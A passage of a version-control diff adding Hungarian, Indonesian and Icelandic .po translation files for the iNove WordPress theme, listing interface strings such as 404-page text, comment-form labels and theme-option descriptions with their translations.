hibalapon! Azért vagy most itt, mert egy olyan hivatkozásra kattintottál, ami sehová nem vezet... Sajna ez valószínűleg a mi hibánk :( De ahelyett, hogy az alap \"404-es hiba\" lapjára vezettünk volna, ami igazából megzavaró és semmit sem magyaráz meg, engedd meg, hogy ezen a lapon kérjünk bocsánatot TÅ‘led. Ha jelzed a hibát, igyekszünk mihamarabb kijavítani." + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "Kattints a böngészÅ‘d \"Vissza\" gombjára, és úgy navigálj tovább, vagy kattints az alábbi linkre, amely a Bejárathoz visz el Téged." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "Vissza a Bejárathoz »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Keresési eredmények" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "Kulcsszó: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Archívum" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "A(z) ‘%1$s’ kategória archívuma" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "‘%1$s’ cimkével ellátott bejegyzés" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "%1$s archívuma" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "" + +#: archive.php:28 +msgid "F, Y" +msgstr "" + +#: archive.php:31 +msgid "Y" +msgstr "" + +#: archive.php:34 +msgid "Author Archive" +msgstr "A SzerkesztÅ‘ archívuma" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Blog archívumok" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Szerkesztés" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "Nincsenek hozzászólások" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 hozzászólás" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% hozzászólás" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "Olvass tovább..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "Sajnáljuk, nem találtunk a kritériumoknak megfelelÅ‘ bejegyzést" + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "Újabb bejegyzések" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "Régebbi bejegyzések" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Szólj hozzá!" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "Tovább a hozzászólásokhoz" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "Add meg a jelszavadat, hogy megtekinthesd a hozzászólásokat." + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Hozzászólások" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "Visszakövetések" + +#: comments.php:34 +msgid "Trackback" +msgstr "Visszakövetés" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Még nincs hozzászólás" + +#: comments.php:72 +msgid "Comment pages" +msgstr "Hozzászólás oldalakhoz" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s %2$s-nél" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "Még nincsenek visszakövetések" + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Hozzászólások lezárva" + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr " -ként kell bejelentkezned, hogy hozzászólhass" + +#: comments.php:150 +msgid "Logged in as" +msgstr "Bejelentkezve, mint" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Kijelentkezés" + +#: comments.php:151 +msgid "Logout »" +msgstr "Kijelentkezés »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "Üdv ismét errefelé, %s!" + +#: comments.php:158 +msgid "Change »" +msgstr "Válts »" + +#: comments.php:159 +msgid "Close »" +msgstr "Bezár »" + +#: comments.php:166 +msgid "Name" +msgstr "Név" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(kötelezÅ‘)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "e-mail (nem lesz közzétéve)" + +#: comments.php:174 +msgid "Website" +msgstr "Honlap" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "Feliratkozás hozzászólásokra" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Hozzászólás elküldése" + +#: footer.php:17 +msgid "Top" +msgstr "Az oldal tetejére" + +#: footer.php:27 +msgid "Copyright © " +msgstr "" + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "" + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "Jelen téma beállításai" + +#: functions.php:194 +msgid "Search" +msgstr "Keress" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "A google custom search engine használata" + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Keress name=\"cx\" a Keresőmező kód a Google Custom Search Engine segítségével, és írd be a értéket ide.
    Pl: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "Menü" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "Mutasd az oldalakat menüelemekként" + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "Mutasd a kategóriákat menüelemekként" + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "Közlemény" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML megengedett" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Ez a közlemény szerepelni fog minden bejegyzés tetején, amely a fÅ‘oldalon van." + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Ki láthatja?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "Regisztrált felhasználók" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Hozzászóló" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "Látogatók" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Bemutatóterem" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Ez a bemutató megjelenik majd az oldalsáv tetején" + +#: functions.php:329 +msgid "Title:" +msgstr "Cím:" + +#: functions.php:345 +msgid "Posts" +msgstr "Bejegyzések" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "SzerzÅ‘ mutatása a bejegyzéseknél" + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Kategóriák mutatása bejegyzéseknél" + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "Cimkék mutatása bejegyzéseknél" + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "Forrás" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "Saját forrás" + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "" + +#: functions.php:396 +msgid "Email feed." +msgstr "e-mail forrás" + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Változtatások elmentése" + +#: functions.php:567 +msgid "Reply" +msgstr "Válasz" + +#: functions.php:568 +msgid "Quote" +msgstr "Idézet" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "Haladó szerkesztés" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "A hozzászólásod moderálásra vár." + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "Hivatkozások szerkesztése" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "Feliratkozás erre a blogra..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "Feliratkozás:" + +#: sidebar.php:28 +msgid "Google" +msgstr "" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "Feliratkozás erre a blogra e-mail segítségével" + +#: sidebar.php:40 +msgid "Email feed" +msgstr "e-mail forrás" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "A Bejárathoz" + +#: single.php:7 +msgid "Home" +msgstr "Bejárat" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/id_ID.mo Binary file web/wp-content/themes/inove/languages/id_ID.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/id_ID.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/id_ID.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,572 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 13:46+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - semua artikel" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - semua komentar" + +#: 404.php:22 +msgid "Talker" +msgstr "Pembicara" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "Selamat datang di halama error 404!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Selamat datang di halaman error kostumisasi ini. Anda menemukan halaman ini karena telah meng-klik pranala yang tidak ada pada situs ini. Mungkin karena kesalahan kami... tapi tujuan kami memperlihatkan halaman 'error 404' sangat membingungkan dan sesungguhnya tidak menjelaskan apa-apa. Kami membuatnya untuk menjelaskan sedang terjadi kesalahan." + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "Anda dapat melakukan pilihan (a) klik tombol 'kembali' pada browser dan coba untuk menuju ke situs ini pada direksi yang berbeda, atau (b) klik pranala berikut untuk menuju ke halaman utama." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "Kembali ke halam utaman »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Hasil Pencarian" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "Kata kunci: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Arsip" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Arsip untuk kategori ‘%1$s’" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Tag Artikel ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "Arsip untuk %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "d/m/Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "F, Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Arsip penulis" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Arsip Blog" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Edit" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "Tidak ada komentar" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 komentar" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% komentar" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "Baca lanjutannya..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "Kategori:" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "Tag" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "Maaf, tidak ada artikel yang sesuai kriteria Anda" + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "Entri Lebih Baru" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "Entri Lebih Lama" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Berikan komentar" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "Masukkan password Anda untuk melihat komentar." + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Daftar Komentar" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "Daftar Tautan Balik" + +#: comments.php:34 +msgid "Trackback" +msgstr "Beri Tautan Balik" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Belum ada komentar." + +#: comments.php:72 +msgid "Comment pages" +msgstr "Halaman komentar" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s pada %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "G:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "Belum ada tautan balik" + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Komentar ditutup" + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Anda harus masuk log untuk mengirim komentar." + +#: comments.php:150 +msgid "Logged in as" +msgstr "Anda masuk sebagai" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Keluar dari akun ini" + +#: comments.php:151 +msgid "Logout »" +msgstr "Keluar log »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "Selamat datang kembali %s" + +#: comments.php:158 +msgid "Change »" +msgstr "Ganti »" + +#: comments.php:159 +msgid "Close »" +msgstr "Tutup »" + +#: comments.php:166 +msgid "Name" +msgstr "Nama" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(wajib diisi)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "E-Mail (tidak akan dipublikasikan)" + +#: comments.php:174 +msgid "Website" +msgstr "Website" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "Berlangganan dengan feed komentar" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Kirim Komentar" + +#: footer.php:17 +msgid "Top" +msgstr "Ke atas" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Hak cipta ©" + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "Tema oleh mg12. Valid XHTML 1.1 dan CSS 3." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "Pengaturan Tema" + +#: functions.php:194 +msgid "Search" +msgstr "Cari" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "Gunakan Pencarian Kostum Google" + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Cari name=\"cx\" pada Kode kotak pencarian of Pencarian Kostum Google, dan ketikkan kodenya di sini.
    Sebagai contoh: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "Menu Navigasi" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "Gunakan halaman sebagai menu" + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "Gunakan kategori sebagai menu" + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "Pemberitahuan" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "Boleh menggunakan HTML" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Pemberitahuan ini akan ditampilkan pada bagian atas di halaman utama." + +#: functions.php:270 +msgid "Banner" +msgstr "Banner" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "Banner ini akan ditampilkan di bagian kanan dari header. (tinggi: 60 piksel)" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Siapa yang dapat melihat?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "Pengguna yang terdaftar" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Komentator" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "Pengunjung" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Showcase" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Showcase ini akan ditampilkan pada bagian atas dari sidebar" + +#: functions.php:329 +msgid "Title:" +msgstr "Judul" + +#: functions.php:345 +msgid "Posts" +msgstr "Artikel" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "Perlihatkan penulis artikel" + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Perlihatkan kategori artikel" + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "Perlihatkan tag artikel" + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "Kirim komentar dengan menekan Ctrl+Enter" + +#: functions.php:381 +msgid "Feed" +msgstr "Feed" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "Perlihatkan daftar pembaca feed ketika mouse over pada tombol feed." + +#: functions.php:390 +msgid "Custom feed." +msgstr "Feed Kostum" + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "Feed email." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Simpan Perubahan" + +#: functions.php:567 +msgid "Reply" +msgstr "Balas" + +#: functions.php:568 +msgid "Quote" +msgstr "Kutip" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "Edit komentar" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "Komentar Anda sedang menunggu moderasi" + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "Edit pranala" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "Berlangganan dengan blog ini..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "Berlangganan via" + +#: sidebar.php:28 +msgid "Google" +msgstr "" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "Beralangganan dengan blog ini via email..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "Feed email" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "" + +#: single.php:7 +msgid "Home" +msgstr "Beranda" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + +#~ msgid "Author: " +#~ msgstr "Penulis:" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/is_IS.mo Binary file web/wp-content/themes/inove/languages/is_IS.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/is_IS.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/is_IS.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,569 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 13:46+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - allar færslur" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - öll ummæli" + +#: 404.php:22 +msgid "Talker" +msgstr "Talker" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "Velkomin(n) á villusíðuna 404!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Þetta er villusíðan. Þú lentir á þessarri síðu því þú smelltir á hlekk sem er ekki til. Þetta er sennilegast okkur að kenna en í staðin fyrir að sýna bara 404 síðuna bjuggum við til þessa í staðin sem útskýrir vandamálið" + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "Þú getur annað hvort (a) smellt á \"Til baka\" hnappinn á vefskoðaranum þínum eða (b) smellt á hlekkinn hér að neðan til að komasts til baka á forsíðuna." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "Til baka á forsíðu »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Leitarniðurstöður" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "Lykilorð: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Safn" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Safn fyrir flokkinn ‘%1$s’" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Færslur merktar ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "Safn fyrir %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "j. F Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "F Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Safn höfundar" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Safn færslna" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Breyta" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "Engin ummæli" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "Ein ummæli" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% ummæli" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "Lesa meira" + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "Því miður, engar færslur passa við leitarskilyrðin." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "Nýrri færslur" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "Eldri færslur" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Skrifa ummæli" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "Sýna ummæli" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "Skrifaðu lykilorðið til að sjá ummæn." + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Ummæli" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "Trackback" + +#: comments.php:34 +msgid "Trackback" +msgstr "" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Engin ummæli enn" + +#: comments.php:72 +msgid "Comment pages" +msgstr "Ummælasíður" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s á %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "Engin trackback enn." + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Búið er að loka fyrir ummæli" + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Þú verður að vera skráður inn til að skrifa ummæli." + +#: comments.php:150 +msgid "Logged in as" +msgstr "Skráður inn sem " + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Skrá út af þessum reikningi" + +#: comments.php:151 +msgid 